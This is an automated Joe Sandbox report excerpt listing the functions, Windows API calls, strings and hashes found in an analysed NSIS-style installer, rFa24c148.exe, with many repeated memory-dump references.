Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 90468eb9bf3c1f3e00f044c7195eeae7ded6c1ef4985fc59ea46c38fcee507d8
Instruction ID: 24cb19e20ea0269922d23406ceb1d71d2baff7de250534ea652b51db9971d4c8
Opcode Fuzzy Hash: 90468eb9bf3c1f3e00f044c7195eeae7ded6c1ef4985fc59ea46c38fcee507d8
Instruction Fuzzy Hash: 2B113A71904008FEEF219F90DE89EAE3B79EB54348F104476FA05B10A0D3B59E51EA69

Function 10001771 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DA9
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DAE
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DB3

GlobalFree.KERNEL32(00000000), ref: 1000181C
FreeLibrary.KERNEL32(?), ref: 10001893
GlobalFree.KERNEL32(00000000), ref: 100018B8

Part of subcall function 100022A1: GlobalAlloc.KERNEL32(00000040,405EA210), ref: 100022D3

Part of subcall function 1000260B: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017ED,00000000), ref: 1000267D

Part of subcall function 100015CC: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001749,00000000), ref: 100015E5

Part of subcall function 1000248D: wsprintfW.USER32 ref: 100024E1
Part of subcall function 1000248D: GlobalFree.KERNEL32(?), ref: 10002559
Part of subcall function 1000248D: GlobalFree.KERNEL32(00000000), ref: 10002582

Strings

, xrefs: 10001899

Memory Dump Source

Source File: 00000000.00000002.2062996466.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2062980489.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2063018747.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2063039760.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_rFa24c148.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpywsprintf
String ID:
API String ID: 1767494692-3916222277
Opcode ID: 7233f16ba86abf9f30ab0ca362f30c0571f5e64aff198df6ce991b39b1ebc49f
Instruction ID: b3d4579510dcbc356f87b8c5eb81e8e4ebd4f83f88234b59d07570181d0aa013
Opcode Fuzzy Hash: 7233f16ba86abf9f30ab0ca362f30c0571f5e64aff198df6ce991b39b1ebc49f
Instruction Fuzzy Hash: 7831BF799043459AFB10DF74DCC5BDA37E8EB043D4F058529F90AAA08EDF74A985C760

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 9509e5e7a0907e764604f6084ff3dd6a46145b46d1e6bef9a99a17c67a449adc
Instruction ID: 32ea72146a28600a98e99adc179119cd295c2a32732311222b232d5c22eb20b7
Opcode Fuzzy Hash: 9509e5e7a0907e764604f6084ff3dd6a46145b46d1e6bef9a99a17c67a449adc
Instruction Fuzzy Hash: 8B217471A44109BEDF019FB0C94AFAD7B75EF44748F20413AF502B61D1D6B8A941DB18

Function 00405C44 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,?,?,00000002,Call,?,00405EB7,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405C6E
RegQueryValueExW.KERNELBASE(?,?,00000000,?,?,?,?,00405EB7,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405C8F
RegCloseKey.ADVAPI32(?,?,00405EB7,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405CB2

Strings

Call, xrefs: 00405C47

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction ID: 3cd74c106f1fbed165a62e297fbc125935b5083a19d10d34083766567549a8a9
Opcode Fuzzy Hash: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction Fuzzy Hash: 4901083115420AEBEB218F66ED09E9B3FA8EF85354F00402AF915E6260D335D964DBA5

Function 00405A12 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405A30
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004031FD,1033,C:\Users\user\AppData\Local\Temp\), ref: 00405A4B

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A17, 00405A1B
nsa, xrefs: 00405A1F

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-678247507
Opcode ID: 7292a228a83fa3ff922d64c5f727ba47b2c13c899f9c2b13fefe68a2db1948d4
Instruction ID: 95f7d282eddd658cc867a71ae78a7f6d6a22d0bd0d4c40af2882d7f7832b811b
Opcode Fuzzy Hash: 7292a228a83fa3ff922d64c5f727ba47b2c13c899f9c2b13fefe68a2db1948d4
Instruction Fuzzy Hash: 68F03676700204BBDB009F55DD45F9F77A8EBD5710F10813AE905F7190E6B0AE548B64

Function 00401E51 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00405021: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
Part of subcall function 00405021: lstrlenW.KERNEL32(004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
Part of subcall function 00405021: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,004030DB,004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,00000000,0040FE48,00000000), ref: 0040507C
Part of subcall function 00405021: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll), ref: 0040508E
Part of subcall function 00405021: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
Part of subcall function 00405021: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
Part of subcall function 00405021: SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

Part of subcall function 004054F2: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256A0,Error launching installer), ref: 00405517
Part of subcall function 004054F2: CloseHandle.KERNEL32(?), ref: 00405524

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E80
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401E95
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 8e7fac8ae1f025a0d1602a8f0f4718163d1cda1f3a438d2d2952dbcc5513a653
Instruction ID: bec0dc1b772bef8e3dfa3c1b84bb43adcf6872ff1fa5701b8d2c68c635bc108f
Opcode Fuzzy Hash: 8e7fac8ae1f025a0d1602a8f0f4718163d1cda1f3a438d2d2952dbcc5513a653
Instruction Fuzzy Hash: 2811A131D04204EBDF109FA0CD859DE7AB5EB04319F204437F501BA1E1C3798982DB9A

Function 004058CA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00405D77: lstrcpynW.KERNEL32(?,?,00000400,0040326D,004281A0,NSIS Error), ref: 00405D84

Part of subcall function 0040586D: CharNextW.USER32(?,?,C:\,?,004058E1,C:\,C:\,?,?,74DF3420,0040561F,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\rFa24c148.exe"), ref: 0040587B
Part of subcall function 0040586D: CharNextW.USER32(00000000), ref: 00405880
Part of subcall function 0040586D: CharNextW.USER32(00000000), ref: 00405898

lstrlenW.KERNEL32(C:\,00000000,C:\,C:\,?,?,74DF3420,0040561F,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\rFa24c148.exe"), ref: 00405923
GetFileAttributesW.KERNELBASE(C:\,C:\,C:\,C:\,C:\,C:\,00000000,C:\,C:\,?,?,74DF3420,0040561F,?,C:\Users\user\AppData\Local\Temp\,74DF3420), ref: 00405933

Strings

C:\, xrefs: 004058D0, 004058D5, 004058DB, 0040591C, 00405922, 0040592A, 00405932

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\
API String ID: 3248276644-3404278061
Opcode ID: 47f1b0a461492265196efcc5ce18cbe6f25592d9a092f8b828f6d1fc555b0b8e
Instruction ID: 0f7a694044e1ae6067649bf4c27e992d8c5df1d17723ae8105b53f34b172a702
Opcode Fuzzy Hash: 47f1b0a461492265196efcc5ce18cbe6f25592d9a092f8b828f6d1fc555b0b8e
Instruction Fuzzy Hash: BBF0F926204D5155E62132365C05AAF1519CE82724B59893FFC50B12C1DB3C89539C7E

Function 004054F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256A0,Error launching installer), ref: 00405517
CloseHandle.KERNEL32(?), ref: 00405524

Strings

Error launching installer, xrefs: 00405505

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 3b6d012946cdb1e415ed4126777acf452f9caf94abf9bf389c8640f9b16c30f7
Instruction ID: f26dffa8f28471d2a1f864ee7fcc23407611118f3e7675527ed35a3aab9678e5
Opcode Fuzzy Hash: 3b6d012946cdb1e415ed4126777acf452f9caf94abf9bf389c8640f9b16c30f7
Instruction Fuzzy Hash: A2E0ECB4A00209AFDB009F64EC49E6B7BBDEB04304BC08521A914F2290E774E9158A69

Function 004031CB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 0040600B: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\rFa24c148.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 0040606E
Part of subcall function 0040600B: CharNextW.USER32(?,?,?,00000000), ref: 0040607D
Part of subcall function 0040600B: CharNextW.USER32(?,"C:\Users\user\Desktop\rFa24c148.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 00406082
Part of subcall function 0040600B: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 00406095

CreateDirectoryW.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 004031EC

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004031CC, 004031D1, 004031D7, 004031E3, 004031EB, 004031F2
1033, xrefs: 004031F3

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
